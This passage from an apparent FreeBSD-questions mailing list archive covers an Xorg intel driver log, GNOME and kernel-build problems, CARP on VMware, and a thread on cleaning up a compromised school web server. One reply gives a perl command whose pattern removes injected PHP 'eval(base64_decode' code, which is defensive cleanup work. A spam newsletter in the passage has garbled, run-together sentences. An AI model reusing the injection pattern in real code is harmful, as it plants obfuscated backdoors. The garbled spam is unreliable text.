bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 FreeFontPath: FPE "/usr/local/lib/X11/fonts/misc/" refcount is 2, should be 1; fixing. (II) intel(0): Kernel reported 241152 total, 0 used (II) intel(0): I830CheckAvailableMemory: 964608 kB available (II) intel(0): [drm] added 8192 byte SAREA at 0xc406a000 (II) intel(0): [drm] mapped SAREA 0xc406a000 to 0x284ef000 (II) intel(0): [drm] framebuffer mapped by ddx driver (II) intel(0): X context handle = 0x2 (EE) intel(0): [DRI] Locking deadlock. Already locked with context 676397436, trying to lock with context 2. (II) intel(0): [drm] installed DRM signal handler (**) intel(0): Framebuffer compression enabled (**) intel(0): Tiling enabled (==) intel(0): Write-combining range (0xe0000000,0x80000) was already clear (==) intel(0): VideoRam: 131072 KB (II) intel(0): Attempting memory allocation with tiled buffers. (WW) intel(0): xf86AllocateGARTMemory: allocation of 1536 pages failed (Cannot allocate memory) (WW) intel(0): Allocation error, framebuffer compression disabled (II) intel(0): Tiled allocation successful. (--) intel(0): DRI is disabled because it needs HW cursor, 2D accel and AGPGART. (II) intel(0): adjusting plane->pipe mappings to allow for framebuffer compression (II) intel(0): Page Flipping disabled (==) intel(0): Write-combining range (0xe0000000,0x80000) was already clear (==) intel(0): Write-combining range (0xe8000000,0x8000000) was already set (II) intel(0): vgaHWGetIOBase: hwp->IOBase is 0x03d0, hwp->PIOOffset is 0x0000 (==) intel(0): Write-combining range (0xa0000,0x10000) was already clear (II) EXA(0): Offscreen pixmap area of 18874368 bytes (II) EXA(0): Driver registered support for the following operations: (II) Solid (II) Copy (II) Composite (RENDER acceleration) (II) intel(0): Initializing SW Cursor! (II) intel(0): xf86BindGARTMemory: bind key 9 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 10 at 0x02000000 (pgoffset 8192) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01227fff: exa offscreen (18432 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x01fdffff: overlay registers (4 kB, 0x000000001a2e6000 physical ) (II) intel(0): 0x02000000-0x02ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (II) intel(0): RandR 1.2 enabled, ignore the following RandR disabled message. (II) intel(0): Set up overlay video (II) intel(0): direct rendering: Failed (--) RandR disabled (II) GLX: Initialized MESA-PROXY GL provider for screen 0 (II) intel(0): Setting screen physical size to 305 x 183 (II) evaluating device () (II) evaluating device () (EE) intel(0): underrun on pipe B! (EE) intel(0): [DRI] Unlocking inconsistency: Context 676397436 trying to unlock lock held by context 2 (EE) intel(0): [DRI] Locking deadlock. Already locked with context 676397436, trying to lock with context 2. (EE) intel(0): [DRI] Unlocking inconsistency: Context 676397436 trying to unlock lock held by context 2 (EE) intel(0): [DRI] Locking deadlock. Already locked with context 676397436, trying to lock with context 2. > * ls /var/db/pkg/ |grep 'xf86-video-*' pkg_version -v xf86-video-dummy-0.2.0_2 = up-to-date with port xf86-video-intel-2.4.2 = up-to-date with port xf86-video-vga-4.1.0_2 = up-to-date with port xf86bigfontproto-1.1.2 = up-to-date with port xf86dga-1.0.2 = up-to-date with port xf86dgaproto-2.0.3 = up-to-date with port xf86driproto-2.0.3 = up-to-date with port xf86miscproto-0.9.2 = up-to-date with port xf86rushproto-1.1.2 = up-to-date with port xf86vidmodeproto-2.2.2 > > * Why you installed 7.0 and not 7.1-BETA2 Why would I install a beta when I'm mainly interested in stable releases? My main reason for installing this system was to check out kde4 (which has been hard to install on anything else without a lot of time and hassle- I noticed it was in ports which made it easy to run once installed), and see if 7.0 was stable enough for myself as it hadn't worked before and I wanted to see if it was just the particular hardware. I apologise I'm not in a position where I can obtain further info, but I kinda have bigger fish to fry (deadlines, etc). From fbsd.questions at rachie.is-a-geek.net Thu Dec 4 20:58:08 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Thu Dec 4 20:58:15 2008 Subject: Gnome slow at start up In-Reply-To: <1bd550a00812041051safe005bj8ee50bdf97583ae3@mail.gmail.com> References: <1bd550a00812041051safe005bj8ee50bdf97583ae3@mail.gmail.com> Message-ID: <200812050558.05907.fbsd.questions@rachie.is-a-geek.net> On Thursday 04 December 2008 19:51:32 Fernando Apestegu?a wrote: > Hi all, > > I'm running FreeBSD 7.1-BETA 2 and I have some problems with Gnome at start > up. > > When I type startx, I get the gnome desktop and the nice border-less > window in which I can see components loading. However, after the > gnome-panel icon, it seems to stall. > some time later (around a minute or two) nautilus seems to run and I > get all the icons at my desktop. > > I have > dbus_enable="YES" > hald_enable="YES" > in my rc.conf and I can see, both are running. > > I have the entries suggested in > http://www.freebsd.org/gnome/docs/faq2.html#q20 added to my /etc/hosts > and I can verify with ping that I don't have any problems with name > resolution. > I also have both net.inet.tcp.backhole and net.inet.udp.blackhole set to 0. > > What's the problem? How can I see which process is stalled during start up? Does this help? http://forums.freebsd.org/showthread.php?t=445 -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From fbsd.questions at rachie.is-a-geek.net Thu Dec 4 21:33:34 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Thu Dec 4 21:33:41 2008 Subject: FreeBSD 7.0 problems In-Reply-To: <1228416719.79750.25.camel@laptop2.herveybayaustralia.com.au> References: <1228356394.23645.24.camel@laptop1.herveybayaustralia.com.au> <200812040944.38210.fbsd.questions@rachie.is-a-geek.net> <1228416719.79750.25.camel@laptop2.herveybayaustralia.com.au> Message-ID: <200812050633.29979.fbsd.questions@rachie.is-a-geek.net> On Thursday 04 December 2008 19:51:59 Da Rock wrote: > Why would I install a beta when I'm mainly interested in stable > releases? That's why I asked. You're not in a position to troubleshoot this problem, since the usual suspects (wrong driver, signs of significant acpi problems) don't apply and you'd have to really be willing to compile custom kernels, set tunables and apply patches to get to the bottom of this. The drm devices aren't created, and the reason for that is unclear. Nothing in dmesg shows a failure. The iwi problem could be signal strength, driver related or the fact that 7.0 uses SCHED_4BSD instead of the proven better working SCHED_ULE. And when reporting bugs in the PR system, the first thing developers will ask you is if you reproduce it on 7.1-BETA or a snapshot. Loads of fixes have gone into the upcoming 7.1. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From f.bonnet at esiee.fr Thu Dec 4 22:00:51 2008 From: f.bonnet at esiee.fr (Frank Bonnet) Date: Thu Dec 4 22:00:58 2008 Subject: Image Programs In-Reply-To: <592613.67715.qm@web52209.mail.re2.yahoo.com> References: <592613.67715.qm@web52209.mail.re2.yahoo.com> Message-ID: <4938C38B.8080008@esiee.fr> G magicman wrote: > Hello does anyone know the following > > 1. Does Freebsd have a program like Photoshop avail to use a copy-left GNU license type ? and a form of Thumbsplus which allows me to do rudimentary picture manipulations changing file type, cropping etc. i have all the 3d programs but not these 2 basic ones. > > > Thank you > http://www.gimp.org From fullblaststorm at gmail.com Thu Dec 4 23:10:15 2008 From: fullblaststorm at gmail.com (FuLLBLaSTstorm) Date: Thu Dec 4 23:10:22 2008 Subject: No /boot/kernel/kernel Message-ID: <6c51dbb10812042310n54788869hbb8a66f3d54d824@mail.gmail.com> Hey all, Recently I've been given the task to make the FreeBSD 6.0-release server to run NAT. I've done everything as described in handbook: copied the /sys/i386/conf/GENERIC to /sys/i386/conf/NATKERNEL, added "options IPFIREWALL", "options IPDIVERT". Then I typed # make bulidkernel KERNCONF=NATKERNEL (everything was built ok, without any errors nor warnings) # make installkernel KERNCONF=NATKERNEL (installation was also ok) After I rebooted my system I was shocked by getting the following message ( The server was important production server of our company ): FreeBSD/i386 boot Default 0:ad(0,a)/boot/kernel/kernel boot: No /boot/kernel/kernel the same reappeared after i typed /boot/kernel.old/kernel. WHAT DID WENT WRONG??? Any ideas? From mcoyles at horbury.wakefield.sch.uk Fri Dec 5 00:22:17 2008 From: mcoyles at horbury.wakefield.sch.uk (Marc Coyles) Date: Fri Dec 5 00:22:24 2008 Subject: Mass find/replace... In-Reply-To: <200812050551.32850.fbsd.questions@rachie.is-a-geek.net> References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <1228395500.2781.41.camel@frodon.be-bif.ulb.ac.be> <200812050551.32850.fbsd.questions@rachie.is-a-geek.net> Message-ID: <002f01c956b2$87dd3b40$9797b1c0$@wakefield.sch.uk> > + not \; or you will fork on every result. > > Additionally, is this injected code one long string or broken down > by the > mailer? Grep isn't the best way to deal with it. It's pretty easy > to correct > with perl, bit trickier if it's multiline, still not too hard: > > find /home/horbury -type f -exec \ > perl -pi.bak -e 's,<\?/\*\*/eval\(base64_decode\(.*?\?>,,s' > {} + > Hi Mel... S'One long singleline string broken down by the mailer... Have tried doing a find and replace using perl, initially just to replace the string, leaving an empty base64_decode(), however, one of the ICT Teachers has created paths with spaces in, which seemed to throw off the perl I was using... will give yours a try later today *fingers crossed*... If worst comes to worst I can restore from backups, it'll just mean students lose a few days of work that they'd submitted thru Moodle (I've been off for a day or three, and this appears to have happened on the first day of my absence) Ta fer the helpful suggestions thus far! Marc A Coyles - Horbury School ICT Support Team Mbl: 07850 518106 Land: 01924 282740 ext 730 Helpdesk: 01924 282740 ext 2000 From chris at chrullrich.net Fri Dec 5 00:25:07 2008 From: chris at chrullrich.net (Christian Ullrich) Date: Fri Dec 5 00:25:42 2008 Subject: CARP on VMware ESX Message-ID: Hello all, I'm having trouble getting a CARP setup to work on VMware ESX. The problem: As soon as I configure the CARP interface, it first goes to MASTER state, then immediately drops to BACKUP, and stays there. Right now I have only one VM set up, so the reason is not that there's an active master in the group. In the log I get the message arp_rtrequest: bad gateway 192.168.93.3 (!AF_LINK) about once every three or four seconds. Just as often, I see ARP requests from the above IP, querying for the same address. I know about VMware and allowing promiscuous mode on the "physical" interface. But this is where it gets confusing: If I create the CARP interface while promiscuous mode is _not_ allowed on the interface, it starts up fine, becomes master, the route entry appears, and everything looks fine. Once I then allow the interface into promiscuous mode, I can use it fine. If promiscuous mode is already permitted on the interface when I start CARP, I get what I described above: The interface is in BACKUP state, the route to the CARP interface doesn't show up, and I get both the ARP requests and the error message continuously. I appreciate any hints. From daniel at dabber.tv Fri Dec 5 00:40:06 2008 From: daniel at dabber.tv (Daniel Daboczy - DABBER) Date: Fri Dec 5 00:40:14 2008 Subject: Intro to a cool new webb-tv solution Message-ID: <125919.RXVJUPMB@dabber.tv> Dabber Newsletter Dabber | Newsletter December 2008 Example player | White paper pdf | IQube our new partner Hi, Since our last update, we have prepared a first example of the kind of online video3-dimensional navigatonline video content: This is the golden age of online video. More and more of us are creating itMainstream media giantsInternet users alike are literamotion. Video on the web is becoming a natuenabling us to do a lot of different things easier, better: discovering what's new and rediscovering the things we'vmissed, telling our stories and communicating our brands, realizing our lOver the last few years, a lot of companies offering online video platforWhereas most ofultimate one-platfoaspect of the enterprise thgetting exactly the kind of product andthat you can afford. Dabber is an Internet start-up, offering online video solutions that are inbackground in the contemporary art scene as well as in web production, we combine the latest in technology with an understanding of what makes Daniel Daboczy & Eric Weber, founders White paper (pdf) For more information about our services, please download the Dabber white paper. IQube is our new partner We're proud to present IQube as a new partner. IQube is one of the Nordic rstage growth compa Dabber's development continues at rapid pace We're still in development, but feel free to contact us in the meanwhile, o www.dabber.tv daniel [at] dabber.tv +46 736 26 9985 To unsubscribe, please forward this email to unsubscribe@dabber.tv From mcoyles at horbury.wakefield.sch.uk Fri Dec 5 01:18:08 2008 From: mcoyles at horbury.wakefield.sch.uk (Marc Coyles) Date: Fri Dec 5 01:18:14 2008 Subject: Mass find/replace... In-Reply-To: <200812050551.32850.fbsd.questions@rachie.is-a-geek.net> References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <1228395500.2781.41.camel@frodon.be-bif.ulb.ac.be> <200812050551.32850.fbsd.questions@rachie.is-a-geek.net> Message-ID: <004c01c956ba$56497410$02dc5c30$@wakefield.sch.uk> > + not \; or you will fork on 